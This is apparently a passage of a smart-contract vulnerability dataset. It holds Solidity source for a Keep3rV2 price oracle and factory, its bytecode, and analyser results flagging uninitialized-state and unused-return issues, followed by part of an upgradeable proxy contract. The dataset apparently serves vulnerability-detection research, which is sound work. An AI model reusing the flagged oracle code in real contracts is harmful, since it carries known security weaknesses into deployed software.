(,, uint32 timestamp) = IUniswapV2Pair(pair).getReserves();
uint32 timeElapsed = timestamp - _point.timestamp;
if (timeElapsed > periodSize) {
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
return true;
}
return false;
}
function _computeAmountOut(uint start, uint end, uint elapsed, uint amountIn) internal view returns (uint amountOut) {
amountOut = amountIn * (end - start) / e10 / elapsed;
}
function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
Observation memory _observation = observations[length-1];
uint price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112;
uint price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
// Handle edge cases where we have no updates, will revert on first reading set
if (timestamp == _observation.timestamp) {
_observation = observations[length-2];
}
uint timeElapsed = timestamp - _observation.timestamp;
timeElapsed = timeElapsed == 0 ? 1 : timeElapsed;
if (token0 == tokenIn) {
amountOut = _computeAmountOut(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
amountOut = _computeAmountOut(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
lastUpdatedAgo = timeElapsed;
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
uint priceAverageCumulative = 0;
uint _length = length-1;
uint i = _length - points;
Observation memory currentObservation;
Observation memory nextObservation;
uint nextIndex = 0;
if (token0 == tokenIn) {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
} else {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
}
amountOut = priceAverageCumulative / points;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
prices = new uint[](points);
if (token0 == tokenIn) {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
} else {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
}
}
}
contract Keep3rV2OracleFactory {
function pairForSushi(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0xc35DADB65012eC5796536bD9864eD8773aBc74C4,
keccak256(abi.encodePacked(token0, token1)),
hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash
)))));
}
function pairForUni(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
)))));
}
modifier keeper() {
require(KP3R.keepers(msg.sender), "!K");
_;
}
modifier upkeep() {
uint _gasUsed = gasleft();
require(KP3R.keepers(msg.sender), "!K");
_;
uint _received = KP3R.KPRH().getQuoteLimit(_gasUsed - gasleft());
KP3R.receipt(address(KP3R), msg.sender, _received);
}
address public governance;
address public pendingGovernance;
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
require(msg.sender == governance, "!G");
pendingGovernance = _governance;
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "!pG");
governance = pendingGovernance;
}
IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44);
address[] internal _pairs;
mapping(address => Keep3rV2Oracle) public feeds;
function pairs() external view returns (address[] memory) {
return _pairs;
}
constructor() {
governance = msg.sender;
}
function update(address pair) external keeper returns (bool) {
return feeds[pair].update();
}
function byteCode(address pair) external pure returns (bytes memory bytecode) {
bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
}
function deploy(address pair) external returns (address feed) {
require(msg.sender == governance, "!G");
require(address(feeds[pair]) == address(0), 'PE');
bytes memory bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
bytes32 salt = keccak256(abi.encodePacked(pair));
assembly {
feed := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
if iszero(extcodesize(feed)) {
revert(0, 0)
}
}
feeds[pair] = Keep3rV2Oracle(feed);
}
function work() external upkeep {
require(workable(), "!W");
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function work(address pair) external upkeep {
require(feeds[pair].update(), "!W");
}
function workForFree() external keeper {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function workForFree(address pair) external keeper {
feeds[pair].update();
}
function cache(uint size) external {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].cache(size);
}
}
function cache(address pair, uint size) external {
feeds[pair].cache(size);
}
function workable() public view returns (bool canWork) {
canWork = true;
for (uint i = 0; i < _pairs.length; i++) {
if (!feeds[_pairs[i]].updateable()) {
canWork = false;
}
}
}
function workable(address pair) public view returns (bool) {
return feeds[pair].updateable();
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window, bool sushiswap) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function sample(address pair, address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
return feeds[pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].quote(tokenIn, amountIn, tokenOut, points);
}
function quote(address pair, address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].quote(tokenIn, amountIn, tokenOut, points);
}
function current(address tokenIn, uint amountIn, address tokenOut, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].current(tokenIn, amountIn, tokenOut);
}
function current(address pair, address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].current(tokenIn, amountIn, tokenOut);
}
} | 0x608060405234801561001057600080fd5b50600436106100a35760003560e01c8063983586d911610076578063a75d39c21161005b578063a75d39c21461016d578063a8aa1b3114610195578063ae6ec9b7146101e1576100a3565b8063983586d91461014d578063a2e6204514610165576100a3565b80630a793398146100a857806317bf72c6146100d25780631f7b6d32146100e7578063252c09d714610107575b600080fd5b6100bb6100b6366004611a9c565b6101f4565b6040516100c9929190611b67565b60405180910390f35b6100e56100e0366004611b37565b6108b4565b005b61ffff80546100f4911681565b60405161ffff90911681526020016100c9565b61011a610115366004611b37565b610962565b6040805163ffffffff90941684526dffffffffffffffffffffffffffff92831660208501529116908201526060016100c9565b6101556109b2565b60405190151581526020016100c9565b610155610b42565b61018061017b366004611a1e565b610bf4565b604080519283526020830191909152016100c9565b6101bc7f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de881565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100c9565b6101806101ef366004611a59565b61109f565b60606000808573ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1610610233578588610236565b87865b5090508467ffffffffffffffff811115610279577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156102a2578160200160208202803683370190505b5092508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156105cb5761ffff80546000916102ee9160019116611c3d565b61ffff16905060006103008688611c00565b61030a9083611c60565b60408051606081018252600080825260208201819052918101829052919250905b838310156105055760408051606081018252600080825260208201819052918101829052908461ffff8110610389577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526dffffffffffffffffffffffffffff64010000000082048116602085015272010000000000000000000000000000000000009091041690820152905060006103e98a86611baf565b61ffff8110610421577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526dffffffffffffffffffffffffffff64010000000083048116602080870182905272010000000000000000000000000000000000009094048216948601949094529185015185519496506104a1949216929161049591611c77565b63ffffffff168f611524565b8884815181106104da577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910101526104f0836001611baf565b92506104fe90508884611baf565b925061032b565b60007f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561056d57600080fd5b505afa158015610581573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a59190611ae9565b845163ffffffff91821694506105bf935016905082611c60565b965050505050506108a9565b61ffff80546000916105e09160019116611c3d565b61ffff16905060006105f28688611c00565b6105fc9083611c60565b60408051606081018252600080825260208201819052918101829052919250905b838310156107e75760408051606081018252600080825260208201819052918101829052908461ffff811061067b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526dffffffffffffffffffffffffffff64010000000082048116602085015272010000000000000000000000000000000000009091041690820152905060006106db8a86611baf565b61ffff8110610713577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526dffffffffffffffffffffffffffff64010000000083048116602086015272010000000000000000000000000000000000009092048216848401819052928501518551949650610783949216929161049591611c77565b8884815181106107bc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910101526107d2836001611baf565b92506107e090508884611baf565b925061061d565b60007f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561084f57600080fd5b505afa158015610863573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108879190611ae9565b845163ffffffff91821694506108a1935016905082611c60565b965050505050505b509550959350505050565b61ffff80546000916108c891849116611baf565b61ffff8054919250165b8181101561095d57600160008261ffff8110610917577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000001663ffffffff929092169190911790558061095581611cb6565b9150506108d2565b505050565b60008161ffff811061097357600080fd5b015463ffffffff811691506dffffffffffffffffffffffffffff6401000000008204811691720100000000000000000000000000000000000090041683565b61ffff8054600091829182916109cb9160019116611c3d565b61ffff1661ffff8110610a07577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526dffffffffffffffffffffffffffff6401000000008204811660208501527201000000000000000000000000000000000000909104168282015280517f0902f1ac000000000000000000000000000000000000000000000000000000008152905191935060009273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de81692630902f1ac926004818101939291829003018186803b158015610ae157600080fd5b505afa158015610af5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b199190611ae9565b845163ffffffff918216945060009350610b3592501683611c60565b6107081093505050505b90565b60003373ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000e2b5d2f44946638debe13c2e60e17cb1dc80f6661614610be7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f2146000000000000000000000000000000000000000000000000000000000000604482015260640160405180910390fd5b610bef61155f565b905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1610610c33578386610c36565b85845b5061ffff80549192506000918291610c519160019116611c3d565b61ffff1661ffff8110610c8d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526dffffffffffffffffffffffffffff64010000000082048116602080860191909152720100000000000000000000000000000000000090920416838301526201000054620100015483517f5909c0d500000000000000000000000000000000000000000000000000000000815293519495506000949193909273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de81692635909c0d5926004818101939291829003018186803b158015610d7857600080fd5b505afa158015610d8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db09190611b4f565b610dba9190611c00565b610dc49190611bc7565b90506000620100005462010001547f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015610e3857600080fd5b505afa158015610e4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e709190611b4f565b610e7a9190611c00565b610e849190611bc7565b905060007f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610eee57600080fd5b505afa158015610f02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f269190611ae9565b63ffffffff1692505050836000015163ffffffff16811415610fe85761ffff8054600091610f579160029116611c3d565b61ffff1661ffff8110610f93577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526dffffffffffffffffffffffffffff6401000000008204811660208501527201000000000000000000000000000000000000909104169082015293505b8351600090610ffd9063ffffffff1683611c60565b9050801561100b578061100e565b60015b90508a73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561106b5761106485602001516dffffffffffffffffffffffffffff1685838d611524565b975061108e565b61108b85604001516dffffffffffffffffffffffffffff1684838d611524565b97505b809650505050505050935093915050565b60008060008473ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16106110de5784876110e1565b86855b5061ffff805491925060009182916110fc9160019116611c3d565b61ffff169050600061110e8783611c60565b604080516060808201835260008083526020808401829052838501829052845192830185528183528201819052928101839052929350919073ffffffffffffffffffffffffffffffffffffffff878116908e1614156112de575b848410156112d95761117b846001611baf565b905060008461ffff81106111b8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526dffffffffffffffffffffffffffff64010000000082048116602085015272010000000000000000000000000000000000009091041690820152925060008161ffff8110611247577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526dffffffffffffffffffffffffffff64010000000083048116602080870182905272010000000000000000000000000000000000009094048216948601949094529187015187519496506112bb949216929161049591611c77565b6112c59087611baf565b9550836112d181611cb6565b945050611168565b61144b565b8484101561144b576112f1846001611baf565b905060008461ffff811061132e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526dffffffffffffffffffffffffffff64010000000082048116602085015272010000000000000000000000000000000000009091041690820152925060008161ffff81106113bd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526dffffffffffffffffffffffffffff6401000000008304811660208601527201000000000000000000000000000000000000909204821684840181905292870151875194965061142d949216929161049591611c77565b6114379087611baf565b95508361144381611cb6565b9450506112de565b6114558a87611bc7565b985060007f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156114bf57600080fd5b505afa1580156114d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f79190611ae9565b855163ffffffff9182169450611511935016905082611c60565b9850505050505050505094509492505050565b600082620100015486866115389190611c60565b6115429085611c00565b61154c9190611bc7565b6115569190611bc7565b95945050505050565b61ffff8054600091829182916115789160019116611c3d565b61ffff1661ffff81106115b4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526dffffffffffffffffffffffffffff6401000000008204811660208501527201000000000000000000000000000000000000909104168282015280517f0902f1ac000000000000000000000000000000000000000000000000000000008152905191935060009273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de81692630902f1ac926004818101939291829003018186803b15801561168e57600080fd5b505afa1580156116a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116c69190611ae9565b8451909350600092506116da915083611c77565b90506107088163ffffffff1611156119cd576000620100005462010001547f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b15801561175e57600080fd5b505afa158015611772573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117969190611b4f565b6117a09190611c00565b6117aa9190611bc7565b90506000620100005462010001547f000000000000000000000000af988aff99d3d0cb870812c325c588d8d8cb7de873ffffffffffffffffffffffffffffffffffffffff16635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b15801561181e57600080fd5b505afa158015611832573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118569190611b4f565b6118609190611c00565b61186a9190611bc7565b6040805160608101825263ffffffff871681526dffffffffffffffffffffffffffff808616602083015283169181019190915261ffff8054929350909160009190811690826118b883611c94565b91906101000a81548161ffff021916908361ffff16021790555061ffff1661ffff811061190e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b82519101805460208401516040909401517fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000000090911663ffffffff909316929092177fffffffffffffffffffffffffffff0000000000000000000000000000ffffffff166401000000006dffffffffffffffffffffffffffff948516021771ffffffffffffffffffffffffffffffffffff16720100000000000000000000000000000000000093909216929092021790555060019450610b3f9350505050565b6000935050505090565b803573ffffffffffffffffffffffffffffffffffffffff811681146119fb57600080fd5b919050565b80516dffffffffffffffffffffffffffff811681146119fb57600080fd5b600080600060608486031215611a32578283fd5b611a3b846119d7565b925060208401359150611a50604085016119d7565b90509250925092565b60008060008060808587031215611a6e578081fd5b611a77856119d7565b935060208501359250611a8c604086016119d7565b9396929550929360600135925050565b600080600080600060a08688031215611ab3578081fd5b611abc866119d7565b945060208601359350611ad1604087016119d7565b94979396509394606081013594506080013592915050565b600080600060608486031215611afd578283fd5b611b0684611a00565b9250611b1460208501611a00565b9150604084015163ffffffff81168114611b2c578182fd5b809150509250925092565b600060208284031215611b48578081fd5b5035919050565b600060208284031215611b60578081fd5b5051919050565b604080825283519082018190526000906020906060840190828701845b82811015611ba057815184529284019290840190600101611b84565b50505092019290925292915050565b60008219821115611bc257611bc2611cef565b500190565b600082611bfb577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c3857611c38611cef565b500290565b600061ffff83811690831681811015611c5857611c58611cef565b039392505050565b600082821015611c7257611c72611cef565b500390565b600063ffffffff83811690831681811015611c5857611c58611cef565b600061ffff80831681811415611cac57611cac611cef565b6001019392505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611ce857611ce8611cef565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fdfea26469706673582212208f624d3a6bef58956753c8c97748633b925780b793ef948de3c0a73917c78b5d64736f6c63430008020033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 9,648 |
0x3fbf3f8af68a7040146d3a5bff631ba98ef83807 | /**
*Submitted for verification at Etherscan.io on 2021-11-16
*/
/**
*Submitted for verification at Etherscan.io on 2021-09-20
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
